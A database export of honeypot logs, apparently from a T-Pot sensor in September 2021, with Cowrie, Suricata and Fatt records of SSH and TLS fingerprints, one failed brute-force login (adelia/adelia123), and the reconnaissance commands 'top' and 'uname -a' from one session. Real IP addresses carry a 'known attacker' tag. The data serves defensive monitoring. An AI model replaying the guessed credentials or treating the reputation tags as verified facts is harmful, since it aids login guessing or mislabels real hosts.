31375	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:44:34.458793+03	2021-09-20 14:45:04.402142+03	{"_id": "yAYFA3wBvYTbRNuEqUOo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 14087, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1972618150412329, "@version": "1", "in_iface": "enp5s0", "src_port": 55477, "dest_port": 53, "timestamp": "2021-09-20T11:44:34.458793Z", "@timestamp": "2021-09-20T11:44:34.458Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31376	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:44:34.598937+03	2021-09-20 14:45:04.403142+03	{"_id": "ywYFA3wBvYTbRNuEqkOg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35600, "timestamp": "2021-09-20T11:44:34.598937", "@timestamp": "2021-09-20T11:44:34.598Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31377	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:44:34.772583+03	2021-09-20 14:45:04.404141+03	{"_id": "zwYFA3wBvYTbRNuEq0Pm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [adelia/adelia123] failed", "session": "6375044f0140", "@version": "1", "password": "adelia123", "username": "adelia", "timestamp": "2021-09-20T11:44:34.772583Z", "@timestamp": "2021-09-20T11:44:34.772Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31378	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:44:35.952438+03	2021-09-20 14:45:04.405142+03	{"_id": "0AYFA3wBvYTbRNuEr0PO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "6375044f0140", "@version": "1", "duration": 2.3396530151367188, "timestamp": "2021-09-20T11:44:35.952438Z", "@timestamp": "2021-09-20T11:44:35.952Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31379	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:21.811291+03	2021-09-20 14:45:04.406142+03	{"_id": "mwYFA3wBvYTbRNuEeUMW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:21.811291Z", "@timestamp": "2021-09-20T11:44:21.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31381	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:23.702675+03	2021-09-20 14:45:04.410141+03	{"_id": "owYFA3wBvYTbRNuEgEPn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "150.109.115.128", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.42897772789001465, "duplicate": true, "timestamp": "2021-09-20T11:44:23.702675Z", "@timestamp": "2021-09-20T11:44:23.702Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31382	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:44:25.337836+03	2021-09-20 14:45:04.411142+03	{"_id": "rgYFA3wBvYTbRNuEhEPQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "8e37717dcf7b", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:44:25.337836Z", "@timestamp": "2021-09-20T11:44:25.337Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31383	1.116.239.130	109.199.241.180	Suricata	2021-09-20 14:44:25.628379+03	2021-09-20 14:45:04.412142+03	{"_id": "sgYFA3wBvYTbRNuEhkN9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:44:25.050060+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.116.239.130", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 552427083907980, "payload": "AAADzAYURknUZH3K9Yv/4I+8v61aoAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43928, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:44:25.628379Z", "@timestamp": "2021-09-20T11:44:25.628Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......FI.d}.........Z....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31384	1.116.239.130	109.199.241.180	Fatt	2021-09-20 14:44:25.628379+03	2021-09-20 14:45:04.414142+03	{"_id": "swYFA3wBvYTbRNuEh0N0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.116.239.130", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 43928, "dest_port": 22, "timestamp": "2021-09-20T11:44:25.628379", "@timestamp": "2021-09-20T11:44:25.628Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31385	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:21.810752+03	2021-09-20 14:45:04.415142+03	{"_id": "mgYFA3wBvYTbRNuEeUMV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:21.810752Z", "@timestamp": "2021-09-20T11:44:21.810Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31386	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:23.274315+03	2021-09-20 14:45:04.416143+03	{"_id": "ogYFA3wBvYTbRNuEfEP_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:23.274315Z", "@timestamp": "2021-09-20T11:44:23.274Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31387	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:24.027148+03	2021-09-20 14:45:04.417143+03	{"_id": "pAYFA3wBvYTbRNuEgEPn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:24.027148Z", "@timestamp": "2021-09-20T11:44:24.027Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31388	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:24.251167+03	2021-09-20 14:45:04.419142+03	{"_id": "pwYFA3wBvYTbRNuEgEPn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.closed", "message": "Connection lost after 22 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 22.64264941215515, "timestamp": "2021-09-20T11:44:24.251167Z", "@timestamp": "2021-09-20T11:44:24.251Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31389	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:44:25.339903+03	2021-09-20 14:45:04.420141+03	{"_id": "qAYFA3wBvYTbRNuEg0OL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.116.239.130", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43928, "timestamp": "2021-09-20T11:44:25.339903", "@timestamp": "2021-09-20T11:44:25.339Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31390	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:44:25.334683+03	2021-09-20 14:45:04.422141+03	{"_id": "rwYFA3wBvYTbRNuEhEPR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.116.239.130:43928 (192.168.176.2:22) [session: 8e37717dcf7b]", "session": "8e37717dcf7b", "@version": "1", "protocol": "ssh", "src_port": 43928, "dest_port": 22, "timestamp": "2021-09-20T11:44:25.334683Z", "@timestamp": "2021-09-20T11:44:25.334Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31391	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:44:25.628989+03	2021-09-20 14:45:04.423143+03	{"_id": "sAYFA3wBvYTbRNuEhEPR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "8e37717dcf7b", "@version": "1", "timestamp": "2021-09-20T11:44:25.628989Z", "@timestamp": "2021-09-20T11:44:25.628Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31392	1.116.239.130	109.199.241.180	Suricata	2021-09-20 14:44:25.626896+03	2021-09-20 14:45:04.424142+03	{"_id": "sQYFA3wBvYTbRNuEhkN9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.116.239.130", "dest_ip": "192.168.20.116", "flow_id": 552427083907980, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43928, "dest_port": 22, "timestamp": "2021-09-20T11:44:25.626896Z", "@timestamp": "2021-09-20T11:44:25.626Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
